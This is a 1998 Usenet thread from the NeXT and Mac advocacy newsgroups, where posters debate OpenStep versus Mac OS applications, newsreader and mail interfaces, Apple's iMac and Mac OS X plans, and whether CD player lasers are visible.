I just can't stand the UI of RadNews. If you do, then I'm starting to see
what you consider UI. As far as following the mail UI? Not even if I were
on crack would they look similar to me. Oh you probably want windows
weverywhere per article/email. I think that is a poor UI implementation.
YMMV.
>
> Basically it seems all apps on OpenStep fall into two rough
> groups. One
> are the apps from Lighthouse (and their clones). Then there's
> everything else. The everything else catagory seems to be
> populated largly by crud.
No, other commercial products are rather nice. DataPhile, T3, Tailor.app
kicks ass, PencilMeIn is very nice, StayInTouch (very cool system wide
integtration), Notebook is the kewelest and maybe only app of it's kind,
Netsurfer's FTP client is very nice. There are a few others as well. Of
course those are all commercial apps.
> > of time and developers that were in the market. And what makes
> > the environment more useful than going to say win/mac is the
> > interaction and interoperation in the OPENSTEP environment;
> > the interaction leverages the functionality of all the apps.
>
> This would be overwhelming if there was a good app in every
> catagory. But
> there isn't. Moreover the universality of this functionality
> has been muted by poor integration - for instance I can't drag
> a text file into this window.
That would require a system wide ability. The Text object can handle this,
but for useneting there must be some facility to turn it to text or to
prepare it for uuencoding. It wouldn't be hard, but if you want other people
to be able to read it you must convert to the proper format. That's an app
level function in this case. Most of the newsbrowser are free, and so the
functions there are all kindly donated by a very small number of people.
Considering this the offerings are darn robust. Also, I think Newsgrazer
allows for that (circa 92?).
> If I had all the time in the world I'd be addressing these
> issues one by
> one, but as it is I'm on lunch now and I've been trying to get
If you solve any of them I'm sure many will be greatful. :)
> a good fix for a single bug for two days. Grrrrr, fileWrappers
> BITE!!
I find them cooler than resource forks. YMMV. Regardless, hope you nail the
bug and had a good lunch.
--
Thanks, be well, take care, later, John Kheit; self expressed...
_________________________________________________________________
UCO & Associates ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Interesting aspect..
Date: 25 Aug 1998 21:27:39 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6rva8b$3fs@newsb.netnews.att.com>
References: <6ru5hh$j64$2@sun27.hrz.tu-darmstadt.de> <35E3231A.18F3@friend.ly.net>
Originator: gupta@tlctest
Jeff Barber <jtbarber@friend.ly.net> wrote:
>[snip]
>Sort of frustrating that Micro$oft manages to eke out a win
>even when it looks like a loss. I think that the only real
>loser in the situation would be the h/w suppliers for
>PC systems, unless they also make some h/w for Mac systems.
It ought not to matter whether Microsoft wins or loses.
Much more important is -- is your favorite platform more or
less commercially viable ?
iMac makes Apple, and MacOS and MacOS X more likely to survive,
and that is a good thing.
I'm posting news-items on the progress of NT 5.0, not because
Microsoft might take a loss [I won't cry if they do], but because
MacOS X on Intel may be perceived to be viable if NT 5.0 loses
mindshare. The myth of the inevitability of the triumph of Windows NT
has to be punctured.
-arun gupta
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Interesting aspect..
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 25 Aug 1998 21:42:20 GMT
Organization: University of Maryland, College Park
Message-ID: <6rvb3s$rb5$1@hecate.umd.edu>
References: <6ru5hh$j64$2@sun27.hrz.tu-darmstadt.de> <35E3231A.18F3@friend.ly.net> <6rva8b$3fs@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirrorafter@ wrote:
: Jeff Barber <jtbarber@friend.ly.net> wrote:
: >[snip]
: >Sort of frustrating that Micro$oft manages to eke out a win
: >even when it looks like a loss. I think that the only real
: >loser in the situation would be the h/w suppliers for
: >PC systems, unless they also make some h/w for Mac systems.
: It ought not to matter whether Microsoft wins or loses.
: Much more important is -- is your favorite platform more or
: less commercially viable ?
: iMac makes Apple, and MacOS and MacOS X more likely to survive,
: and that is a good thing.
: I'm posting news-items on the progress of NT 5.0, not because
: Microsoft might take a loss [I won't cry if they do], but because
: MacOS X on Intel may be perceived to be viable if NT 5.0 loses
: mindshare. The myth of the inevitability of the triumph of Windows NT
: has to be punctured.
The Linux people are gaining mindshare rapidly as an alternative to NT5.0
I wouldn't mind if more people migrated their productivity and EDA tools
to Linux.
: -arun gupta
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 25 Aug 1998 21:51:24 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6rvbks$kh6$2@lwnws01.ne.highway1.com>
References: <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14> <6riimr$3r8$1@lwnws01.ne.highway1.com> <6rj31o$css$1@nnrp1.dejanews.com> <6rk08i$6ur$2@lwnws01.ne.highway1.com> <6rkh6m$666$1@nnrp1.dejanews.com> <6rmjvi$41l$1@lwnws01.ne.highway1.com> <6rn6ea$42n$1@nnrp1.dejanews.com> <6rnjl3$pmt$2@lwnws01.ne.highway1.com> <6rq3f1$jp0@news1.panix.com> <6rqqk1$oae$1@lwnws01.ne.highway1.com> <6rtu36$c2j$1@nnrp1.dejanews.com> <6ruhkm$3i0$2@lwnws01.ne.highway1.com> <6rva2o$4cf$1@nnrp1.dejanews.com>
quinlan@intergate.bc.ca wrote:
> In article <6ruhkm$3i0$2@lwnws01.ne.highway1.com>,
> jkheit@mediaone.net wrote:
>
> > Most ain't all.
>
> But pascal code is more readable then C code.
Depends on who is reading it.
--
Thanks, be well, take care, later, John Kheit; self expressed...
_________________________________________________________________
UCO & Associates ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: DarnedToHeck@REMOVE.home.com (Paul McGrane)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Message-ID: <DarnedToHeck-2508981832280001@cc962257-a.vron1.nj.home.com>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz> <000035D8F15C.NO_UCE@mauve.demon.co.uk> <35d8f8dc.0@news.depaul.edu> <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net> <6rcjt8$3hv$1@callisto.acsu.buffalo.edu> <35E30B31.43C1@see_signature.com>
Organization: I take the fifth
Date: Tue, 25 Aug 1998 22:31:29 GMT
NNTP-Posting-Date: Tue, 25 Aug 1998 15:31:29 PDT
In article <35E30B31.43C1@see_signature.com>, NerveGas@see_signature.com wrote:
> > : But is the beam ITSELF visible red? It is possible that the laser
> > : LED itself produces some red light INSIDE the laser diode, but
> > : its the color of the laser beam itself that concerns us. If it is red,
> > : then you would see a slim column of red light emitting from the
> > : laser diode and striking the disc. (as in "Goldfinger" - "No Meester
> > : Bond, I expect you to DIE!"). This would be visible from the side. No
> > : visible red laser beam, then its not a red laser.
>
> hehehehe.... yet another person who believes that what they see in
> movies is real. you won't see *anything* coming out of a laser unless
> it strikes something and reflects, I'll leave it to your research to
> find out why.
>
> steve
Well...if you squirt some smoke or vapor of some sort in there... (though
that can't be good for the wee electronic thingies :^)
--
...Paul McGrane
*As always, my email address is a fixer-upper*
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Content-Type: text/plain; charset=us-ascii
Message-ID: <Ey9q4z.3MF@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: quinlan@intergate.bc.ca
Organization: none
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rqtpo$p7k$1@nnrp1.dejanews.com>
<gmgraves-2408981002580001@sf-usr1-38-166.dialup.slip.net> <6rtuo3$cqu$1@nnrp1.dejanews.com>
<Ey92Ev.FuK@T-FCN.Net> <6rv9jg$3vj$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Tue, 25 Aug 1998 23:19:47 GMT
In <6rv9jg$3vj$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> So you are saying that the GUI design can make individual applications
> harder/easier to learn. I agree and the consistence of Mac OS applications
> would be very useful here.
Absolutely - as I've mentioned in the past, you can get many of the
positive benefits of what we associate with GUI's could be provided by CLUI's
as well.
> Then we need a range of productivity studies. I hate how the studies seem
to
> focus on people with very limited technical knowledge and limited needs. It
> makes them largely irrelevant for me.
Absolutely, but that _is_ what the market consists of these days. We are
the ones that can work about these problems, so I'm not sure we're good
people to ask!
Maury
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6ru5hh$j64$2@sun27.hrz.tu-darmstadt.de> <35E3231A.18F3@friend.ly.net> <6rva8b$3fs@newsb.netnews.att.com> <6rvb3s$rb5$1@hecate.umd.edu>
Subject: Re: Interesting aspect..
Date: Tue, 25 Aug 1998 19:48:47 -0400
Message-ID: <35e34da8.0@news.together.net>
Organization: Together Networks - Burlington, VT.
David T. Wang wrote in message <6rvb3s$rb5$1@hecate.umd.edu>...
>gupta@kcopsrm.tm.tta.moc-mirrorafter@ wrote:
>: Jeff Barber <jtbarber@friend.ly.net> wrote:
>: >[snip]
>: >Sort of frustrating that Micro$oft manages to eke out a win
>: >even when it looks like a loss. I think that the only real
>: >loser in the situation would be the h/w suppliers for
>: >PC systems, unless they also make some h/w for Mac systems.
>
>: It ought not to matter whether Microsoft wins or loses.
>: Much more important is -- is your favorite platform more or
>: less commercially viable ?
>
>: iMac makes Apple, and MacOS and MacOS X more likely to survive,
>: and that is a good thing.
>
>: I'm posting news-items on the progress of NT 5.0, not because
>: Microsoft might take a loss [I won't cry if they do], but because
>: MacOS X on Intel may be perceived to be viable if NT 5.0 loses
>: mindshare. The myth of the inevitability of the triumph of Windows NT
>: has to be punctured.
>
>The Linux people are gaining mindshare rapidly as an alternative to NT5.0
>I wouldn't mind if more people migrated their productivity and EDA tools
>to Linux.
>
..
Which is a whole lot more likely than a mass move to a proprietary, single
vendor hardware/software combination such as Apple and MacOS
whatever-the-name-is-today.
..
..
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Content-Type: text/plain; charset=us-ascii
Message-ID: <Ey9r7o.41s@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: jkheit@mediaone.net
Organization: none
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com>
<Ey92Lx.FxG@T-FCN.Net> <6rukm3$533$1@lwnws01.ne.highway1.com>
<Ey9Avn.K3A@T-FCN.Net> <6rvatv$kh6$1@lwnws01.ne.highway1.com>
Mime-Version: 1.0
Date: Tue, 25 Aug 1998 23:42:59 GMT
In <6rvatv$kh6$1@lwnws01.ne.highway1.com> John Kheit wrote:
> That is exactly the opposite of my experience. True, few openstep apps
have
> puke colored icons put there for the sake of giving the perwinkle group a
> jones. The rest use standard panels, widgets, etc. because it would take
moe
> work to make up your own. Thus I don't see the UI slide like on the mac
> where every app has it's own "new and improved" UI changing the look, the
> feel, and function of standard widgets. It's not even close IMO. Clearly
> YMV.
This isn't a widget issue, it's a functionality issue. The fact that I
have to type into a field called "newsrc" in order to get this program
working, and that if I don't fill in another field which is _empty_ it
actually inserts text that I cannot see (the Organization header) are
examples of bad interface design.
The MacOS set is rather limited, and Apple's done a horrible job of keeping
up to date. However they look though, the operation of the programs tends to
be much more straightforward.
> I disagree on the mail. News there's Radical News which does have a lot of
> function, but I don't like because they like many mac developers, decided
> they can improve on the UI.
Improve?!?
> Absolutely true. While many of the apps are good in UI, IMO (I know you
> differ), they are very simple. But with OPENSTEP I get to leverage other
> apps to fill in most of those gaps.
This would be nice if it were universal.
> For crying out loud, I'd kill for a wordprocessor that could do TOA, TOC,
> etc.
Indeed. And one that doesn't do them via hidden "styles" that you apply to
text, al la Word's MORONIC operation.
> I completely disagree. If it weren't for the ease of development you'd
have
> ZERO of those utils.
Utils?
> for you and that's it. That's the nature of an app when by design you want
> to interoperate with the unix standard, by and large.
Ahhh. No, that's not what I meant. What I mean is that the Unixy
underpinnings of some of the apps are allowed to peek through to the user
level where they are largely useless and confusion.
For instance mail.app requires me to type in "/usr/lib/sendmail" into a
text field. This is simply dumb. Not only is this likely to be changed by
less than 1% of the users, a Browse button, or a pop-up of standards, would
be a far better solution.
> > There is no reasonably midrange WP (FrameMaker doesn't count,
>
> Frame counts for me. It counts for others too.
As a WP?
>> > WPerfect is dead, WriteUp is fairly "lite"). There's nothing at
>
> So what that it's dead?
So that means no one can buy it if they get a new machine. It might work
for YOU, but that's little use to me (for instance).
> > all like FileMaker that I've seen. OmniWeb is pretty excellent
> > though.
>
> DataPhile.
Got an URL?
> You're on crack imo. I've seen and had to use other mailers and they all
> suck the fermented exriment from the dung eaters in comparison. Clearly
YMV.
Being the "best" of a whole bunch of crap is not much of an endorsement!
Have you used CyberDog for any period of time?
> Enhancemail.bundle, particularly the latest version, does some of the most
> powerful and coolest quoting.
I'm using it, how do I get this cool stuff? It's always leaveing in old
bits of quotes, not collapsing them down, deleting the "he said" header
lines, etc.
> MIME completely works for me from any other mailer.
You have to be kidding! I have sent tar's to people on variopus platforms,
and invariably not a single one worked. So then my sendmail-god buddy looked
over one of them on the way in and basically said "this is BS, it's
completely non-standard and won't work with anyone else". I trust him, and
my experiences back this up.
> I just can't stand the UI of RadNews.
Neither can I.
> If you do, then I'm starting to see what you consider UI.
No, I hate it too.
> As far as following the mail UI?
Single window per "folder", messages read in that window, replies in
another window. Ugg.
> on crack would they look similar to me. Oh you probably want windows
> weverywhere per article/email. I think that is a poor UI implementation.
You likely haven't used a good one.
> That would require a system wide ability. The Text object can handle this,
> but for useneting there must be some facility to turn it to text or to
> prepare it for uuencoding. It wouldn't be hard, but if you want other
people
> to be able to read it you must convert to the proper format.
Well after spending two days debugging one, I can say without hesitation
that such abilities are there. However they have not been implemented
widely. This is exasperated by OS's inability to do text-drags on
selections, another thing I'm hoping will come shortly.
> level function in this case. Most of the newsbrowser are free, and so the
> functions there are all kindly donated by a very small number of people.
> Considering this the offerings are darn robust. Also, I think Newsgrazer
> allows for that (circa 92?).
There is simply no comparison to MT-NewsWatcher. It is an absolutely
stunning program.
> If you solve any of them I'm sure many will be greatful. :)
Yes, but will I be rich? :-)
> > a good fix for a single bug for two days. Grrrrr, fileWrappers
> > BITE!!
>
> I find them cooler than resource forks.
Ummm, I'm missing something. How are they comparable?
Maury
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 26 Aug 1998 00:30:01 GMT
Organization: I don't think so
Message-ID: <slrn6u6m03.ct4.jason@jhste1.dyn.ml.org>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com> <Ey92Lx.FxG@T-FCN.Net> <6rukm3$533$1@lwnws01.ne.highway1.com> <Ey9Avn.K3A@T-FCN.Net> <6rvatv$kh6$1@lwnws01.ne.highway1.com>
John Kheit posted the following to comp.sys.mac.advocacy:
>For crying out loud, I'd kill for a wordprocessor that could do TOA, TOC,
>etc.
Yeah, it's called WordPerfect. I'd kill for it on Linux/PowerPC (say
bye-bye to wasting 250 MB on a MacOS partition...)
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: piers@ilink.de (Piers Uso Walter)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 26 Aug 1998 01:02:21 GMT
Organization: Mediahaus Stroebel (Germany)
Message-ID: <6rvmqt$ddi$1@viking.mqi.net>
References: <Ey92zD.G5L@T-FCN.Net>
Maury Markowitz writes
> Not only does most of Taligent appear to be a direct rip off of
> OpenStep but from all reports it was insanely slow.
The truth is much sader:
Taligent was such a horrible mixture of diverging concepts, tied
together by one of the more braindead event models I've seen.
Back when they presented it to us, all we could do is wonder why they
chose *NOT* to rip off Openstep. Any kind of Openstep rip off, no
matter how badly done, would have been lightyears ahead of the ugly
monster they tried to put to life.
--
"I think people are happy using Windows, and that's an
extremely depressing thought." -= Steve Jobs, 1/96 =-
Piers Uso Walter <piers@ilink.de>
ilink Kommunikationssysteme GmbH
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 25 Aug 1998 19:02:20 -0700
Organization: UC Irvine
Message-ID: <atlauren-2508981902200001@jungleland.acs.uci.edu>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com> <Ey92Lx.FxG@T-FCN.Net> <6rukm3$533$1@lwnws01.ne.highway1.com> <Ey9Avn.K3A@T-FCN.Net> <6rvatv$kh6$1@lwnws01.ne.highway1.com>
_3;X4o1Yg^$]=Oc\u
In article <6rvatv$kh6$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
>I've seen and had to use other mailers and they all
>suck the fermented exriment from the dung eaters in comparison.
Pure poetry. Times like these, I really like usenet.
Best,
--
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
"Perceive the need."
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 25 Aug 1998 19:08:32 -0700
Organization: UC Irvine
Message-ID: <atlauren-2508981908320001@jungleland.acs.uci.edu>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com> <Ey92Lx.FxG@T-FCN.Net> <6rukm3$533$1@lwnws01.ne.highway1.com> <Ey9Avn.K3A@T-FCN.Net> <6rvatv$kh6$1@lwnws01.ne.highway1.com>
_3;X4o1Yg^$]=Oc\u
In article <6rvatv$kh6$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
>> make it break (like long references lines) it breaks threads for
>> no apparent reason, and it follows the mail app interface.
>
>I just can't stand the UI of RadNews.
Personally, nor do I. My favorite news readers are as follows, in
descending order of preference:
NewsWatcher (any version, any iteration)
trn
That's it. YMMV.
> If you do, then I'm starting to see
>what you consider UI. As far as following the mail UI? Not even if I were
>on crack would they look similar to me. Oh you probably want windows
>weverywhere per article/email.
Personally, that's exactly what I like. I've never seen a tiled UI, with
the subject list and article contents contained within a single window,
which I liked. YMMV.
--
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
"Perceive the need."
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: 26 Aug 1998 02:18:02 GMT
Organization: Indiana University, Bloomington
Message-ID: <6rvr8q$4b1$1@flotsam.uits.indiana.edu>
References: <35d525ad.0@news.depaul.edu> <6rcjt8$3hv$1@callisto.acsu.buffalo.edu> <35E30B31.43C <DarnedToHeck-2508981832280001@cc962257-a.vron1.nj.home.com>
In article <DarnedToHeck-2508981832280001@cc962257-a.vron1.nj.home.com>,
Paul McGrane <DarnedToHeck@REMOVE.home.com> wrote:
>In article <35E30B31.43C1@see_signature.com>, NerveGas@see_signature.com wrote:
>
>> > : But is the beam ITSELF visible red? It is possible that the laser
>> > : LED itself produces some red light INSIDE the laser diode, but
>> > : its the color of the laser beam itself that concerns us. If it is red,
>> > : then you would see a slim column of red light emitting from the
>> > : laser diode and striking the disc. (as in "Goldfinger" - "No Meester
>> > : Bond, I expect you to DIE!"). This would be visible from the side. No
>> > : visible red laser beam, then its not a red laser.
>>
>> hehehehe.... yet another person who believes that what they see in
>> movies is real. you won't see *anything* coming out of a laser unless
>> it strikes something and reflects, I'll leave it to your research to
>> find out why.
>>
>> steve
>
>Well...if you squirt some smoke or vapor of some sort in there... (though
>that can't be good for the wee electronic thingies :^)
I just opened up my CD cover and stuck a pen cap into the interlock switch
so I could watch the laser head moving around. It's a visible red laser.
I could see the reflections from the lens surface. But it's not very
powerful compared to your typical high school HeNe laser.
--
"Those aren't walls, Peter. Those are steps." -- Spengler
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: iMac, another personal review
Date: 26 Aug 1998 02:21:38 GMT
Organization: ICGNetcom
Message-ID: <6rvrfi$ahd@news9.noc.netcom.net>
References: <6rq1n8$kn2$2@pith.uoregon.edu> <Ey8D5z.F61@prosoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: lparkyn@prosoft.com
In <Ey8D5z.F61@prosoft.com> Lyle Parkyn wrote:
> In article <6rq1n8$kn2$2@pith.uoregon.edu> Wesley Horner
> <wesman@azrael.uoregon.edu> writes:
> > degackz@my-dejanews.com wrote:
> >
> > > We have one left handed user in the house, I showed him where to
plug
> in the
> > > mouse if he wanted it on the other side. "Yes, its USB! Its hot
> pluggable!
> > > sure go ahead and move the mouse to the other side...". We had to
yank
> the
> > > power cord. Apple apparently has not implemented USB properly.
> >
> > Must have been a fluke. I have unplugged my imac mouse and
keyboard a
> nuber
> > of times withought it crashing. I agree the cdrom is a bit wierd
but
> thats
> > because it is a laptop unit. They had to use one so they could fit
it
> between
> > the monitor and the hard drive. I took it aapart to get a look at
it
> and I
> > would call it a marvel of packaging. There is very little wasted
space.
> >
>
> What's a marvel is the amount of hype that's apparently been
generated
> about this box and how people will be sucked in and then let down.
>
> There's really nothing that special about this box. It looks like an
old
> Data General minicomputer terminal - blue and beige. Sure it has some
> current hardware goodies but so do most new boxes. Sure it's cheap
but
> then so are lots of other boxes. And once you've unpacked it, plugged
it
> in and turned it on the real disappointment is it's the same old Mac
OS
> with the same old Mac UI. What's the big deal!?
>
> Mac OS X won't be here soon enough and even then it won't look that
> different. It'll have the same old Mac desktop paradigm designed
years ago
> for slow machines with tiny screens and a couple of alternating apps.
It
> used to be that the machine was awaiting for the user. Today this old
> desktop paradigm will now force the multitasking user to wait for the
> desktop. NextStep had a truly productive user environment designed
for
> multitasking users and it looks like Apple is throwing away a lot of
that
> productivity. (E.g. Vertical menus, floating main menus, single
command
> app hiding, Websters, Display PostScript, the Dock, etc.)
Agreed. I absolutely couldn't believe what happened to the
NeXTstep/Openstep
GUI. Macified blah. There are so many things that I hate about it I
don't know
where to start. All I can say is at least terminal and copy/paste
work much better
than in windows. Try setting the terminal history to beyond 300 or
was that 400
lines and see what happens.. Luckily I'm familiar with regedit and
was able
to reset the parameter.
I absolutely love the floating menus, DPS is very nice, Websters I only
use
occasionally - probably should use it more. The Dock is nice also -
but definately
could be done better. Vertical menus are also far superior. I
absolutely can't
believe that Apple wouldn't give the NeXTstep look and feel a chance
even
as a preference - I'm sure many Mac folks would have happily made the
switch.
I agree that the Mac look and feel is ancient. It would have been a
nice thing
to simply have ported Openstep to PPC then Apple could have been
selling
boxes with MacOS or Openstep - some would have heartily chosen
Openstep.
I bet some still would - until CR1 arrives. Gee how long do we have
to wait.
I may be harsh but it seems to me Apple has made way to much work for
itself.
Most of it busy work - like Macifying the NeXT GUI. YB was mostly
there, BB
should have been done long ago..
Just frickin' stupid. Then again Apple stock is @ 40 now - and the PE
is what
500 vs. negative.. Though this to me isn't a result of great sales
but more of
cutting costs.
> Well, that ends my little rant about things Apple.
Yeah I've had enough. In my mind Apple may have the best software but
if you can't get it other than being a developer what the heck does it
matter.
They remake the NeXT GUI in the image of the 1980's Mac one.
If Apple pushes back the release of CR1 they are going to be royally
screwed
over by the press. Oh. Did they tell you it won't run on the iMac?
At least
not initially.. (This is a guess).
Just too depressed about the whole situation - lack of SMP - lack of
anything
but CR1 to be on intel - monopolistic thinking from Apple - AArrrgh.
Back to the some fun things.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 26 Aug 1998 03:22:00 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6rvv0o$d38$1@lwnws01.ne.highway1.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com> <Ey92Lx.FxG@T-FCN.Net> <6rukm3$533$1@lwnws01.ne.highway1.com> <Ey9Avn.K3A@T-FCN.Net> <6rvatv$kh6$1@lwnws01.ne.highway1.com> <atlauren-2508981908320001@jungleland.acs.uci.edu>
atlauren@uci.edu (Andrew Laurence) wrote:
> Personally, that's exactly what I like. I've never seen a tiled UI, with
> the subject list and article contents contained within a single window,
> which I liked. YMMV.
Fair enough. Different strokes and all.
--
Thanks, be well, take care, later, John Kheit; self expressed...
_________________________________________________________________
UCO & Associates ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 26 Aug 1998 03:23:20 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6rvv38$d38$2@lwnws01.ne.highway1.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com> <Ey92Lx.FxG@T-FCN.Net> <6rukm3$533$1@lwnws01.ne.highway1.com> <Ey9Avn.K3A@T-FCN.Net> <6rvatv$kh6$1@lwnws01.ne.highway1.com> <slrn6u6m03.ct4.jason@jhste1.dyn.ml.org>
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> John Kheit posted the following to comp.sys.mac.advocacy:
>
> >For crying out loud, I'd kill for a wordprocessor that could do TOA, TOC,
> >etc.
>
> Yeah, it's called WordPerfect. I'd kill for it on Linux/PowerPC (say
> bye-bye to wasting 250 MB on a MacOS partition...)
Yes, I hear 8.0 is very nice indeed. And even has more stuff in it than word
97.
--
Thanks, be well, take care, later, John Kheit; self expressed...
_________________________________________________________________
UCO & Associates ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 26 Aug 1998 03:50:56 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6s00n0$e40$1@lwnws01.ne.highway1.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com> <Ey92Lx.FxG@T-FCN.Net> <6rukm3$533$1@lwnws01.ne.highway1.com> <Ey9Avn.K3A@T-FCN.Net> <6rvatv$kh6$1@lwnws01.ne.highway1.com> <Ey9r7o.41s@T-FCN.Net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> This isn't a widget issue, it's a functionality issue. The
> fact that I
> have to type into a field called "newsrc" in order to get this
> program working, and that if I don't fill in another field which
> is _empty_ it actually inserts text that I cannot see (the
> Organization header) are examples of bad interface design.
It's likely a PD app made by one dude in a month or so. I imagine any
equivelent app on the mac would be worse or non functional at all. The ease
of development on OS lets people put out items with relatively little work
and effort, and the results are that these apps are far from polished. But
at least they exist where they otherwise wouldn't. But your right, that
results in some useful, but very immature apps being put out. I don't see
that as a bad thing overall though.
> > I disagree on the mail. News there's Radical News which does
> > have a lot of function, but I don't like because they like many
> > mac developers, decided they can improve on the UI.
>
> Improve?!?
Sorry, I was being sarcastic.
> > Absolutely true. While many of the apps are good in UI, IMO
> > (I know you differ), they are very simple. But with OPENSTEP
> > I get to leverage other apps to fill in most of those gaps.
>
> This would be nice if it were universal.
Agreed.
> > For crying out loud, I'd kill for a wordprocessor that could
> > do TOA, TOC, etc.
>
> Indeed. And one that doesn't do them via hidden "styles" that
> you apply to
> text, al la Word's MORONIC operation.
Don't talk to me about word. Bla. I heard the new wordperfect 8.0 is very
nice though.
> For instance mail.app requires me to type in "/usr/lib/sendmail"
> into a
> text field. This is simply dumb. Not only is this likely to be
> changed by less than 1% of the users, a Browse button, or a pop-up
> of standards, would be a far better solution.
That's not really true. It doesn't require you to add that. It initializes
with that setting there. It's nice for those people that do want to change
